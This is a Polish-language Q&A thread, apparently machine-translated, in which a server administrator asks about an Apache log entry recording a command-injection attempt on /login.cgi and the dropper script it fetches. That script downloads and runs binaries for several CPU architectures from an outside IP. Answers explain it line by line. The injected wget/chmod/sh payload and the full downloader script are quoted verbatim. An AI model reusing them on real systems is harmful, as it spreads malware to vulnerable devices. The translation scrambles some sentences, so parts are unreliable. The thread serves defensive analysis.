Zauważyłem ostatnio na moich serwerach dzienniki apache, następujące dziwne linie:
156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"
Zrobiłem więc niestandardowy filtr Fail2Ban i zacząłem blokować adresy IP żądające tych adresów URL /login.cgi.
Byłem jednak ciekawy, co próbują zrobić, więc wyciągnąłem skrypt, który próbują wykonać, i nie wydaje mi się, żeby dokładnie zrozumiał, co on właściwie robi. Coś na temat usuwania folderów arch w / var i / tmp?
W każdym razie tutaj jest:
#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
do
rm -rf $u
cp $SHELL $u
chmod 777 $u
>$u
wget http://$http_server:$http_port/$name -O -> $u
./$u $name
done
hxxp://80.211.173.159:80/$name
miejscu, w którym$name
znajduje się każda architektura procesorabin_names
. Tak więc zostanie pobranych i wykonanych 7 skryptów atakuOdpowiedzi:
Linia po linii:
Ustala
sh
powłokę, w zależności od tego, która jest, jako linia shebang.sh%20/tmp/ks
w żądaniu przesłania to, więc ten wiersz jest traktowany jako normalny komentarz i ignorowany.Deklaruje dowolną nazwę, prawdopodobnie w celu uniknięcia kolizji z innymi nazwami plików. Nie jestem pewien, dlaczego po prostu by tego nie użyli
mktemp
, ale może nie jest to dostępne na wszystkich platformach.Wymienia kilka typowych architektur procesora.
Serwer, który ma exploita.
Próbuje zmienić katalog w miejsce, w którym Twój serwer WWW prawdopodobnie będzie mógł tworzyć pliki. Wierzę, że SELinux pomoże w tym, egzekwując znacznie bardziej rygorystyczne zasady dotyczące tego, co może zrobić serwer WWW niż system plików.
Dla każdej architektury procesora…
Usuwa wcześniej wypróbowane programy wykorzystujące lukę. Niepotrzebne z powodu następnego wiersza, więc można je zignorować.
Kopiuje bieżący plik wykonywalny powłoki (
/bin/sh
). Może być zignorowany z powodu wiersza po następnym.Zapewnia wszystkim pełny dostęp do nowego pliku. Powinno to nastąpić po
wget
poleceniu, które jest albo znakiem początkującego skryptu powłoki, albo techniką błędnego przekierowania.Opróżnia plik. Bezcelowe z powodu następnej linii.
Zastępuje plik skryptem exploita dla tej architektury.
-O -> $u
mógł zostać zapisany-O - > $u
(myślnik wskazuje, że pobieranie powinno być zapisane na standardowe wyjście), co jest równoważne-O $u
.Uruchamia skrypt exploitów z architekturą jako pierwszym argumentem.
Kończy pętlę.
Wygląda na to, że jest to trywialny skrypt próbujący wykorzystać exploity, próbujący znanych exploitów na różnych platformach CPU. Nie wiem, dlaczego zastępuje
$u
trzykrotnie, ale te operacje mogą po prostu pozostać po wcześniejszej iteracji skryptu. Prawdopodobnie wcześniejsza wersja miała exploity zakodowane na sztywno, a nie dynamicznie obsługiwane - pierwsza jest łatwiejsza, ale prawie gwarantuje, że skrypt będzie z czasem mniej skuteczny w miarę łatania błędów.źródło
->
wwget
poleceniu zrobić? Dlaczego nie tylkowget ... -O $u
?- >
-O->filename
pomocąfilename
nie widać na wyjściu ps ax . Może to być zaletą, która utrudnia debugowanie.cp
Daje plik wykonywalny. Być może przydatne, jeślichmod
zawiedzie? Edycja: biorąc pod uwagę, że najwyraźniej dotyczy to routerów, całkiem możliwe, żechmod
nie istnieje.Jest
wget
to kluczowa niebezpieczna linia.for name in $bin_names
Pracuje listę platform i dla każdej platformy jest wyczyszczenie katalogu tymczasowego, kopiowanie powłokę nad czym czyni go dostępnym dla każdego.Następnie pobiera plik za pomocą,
wget
a następnie wykonuje go za pomocą programu powłoki, który właśnie skopiował.Skrypt w zasadzie próbuje pobrać serię plików wykonywalnych lub skryptów dla każdej platformy, którą może, i ocierać je o system w nadziei, że może jeszcze bardziej zagrozić systemowi.
źródło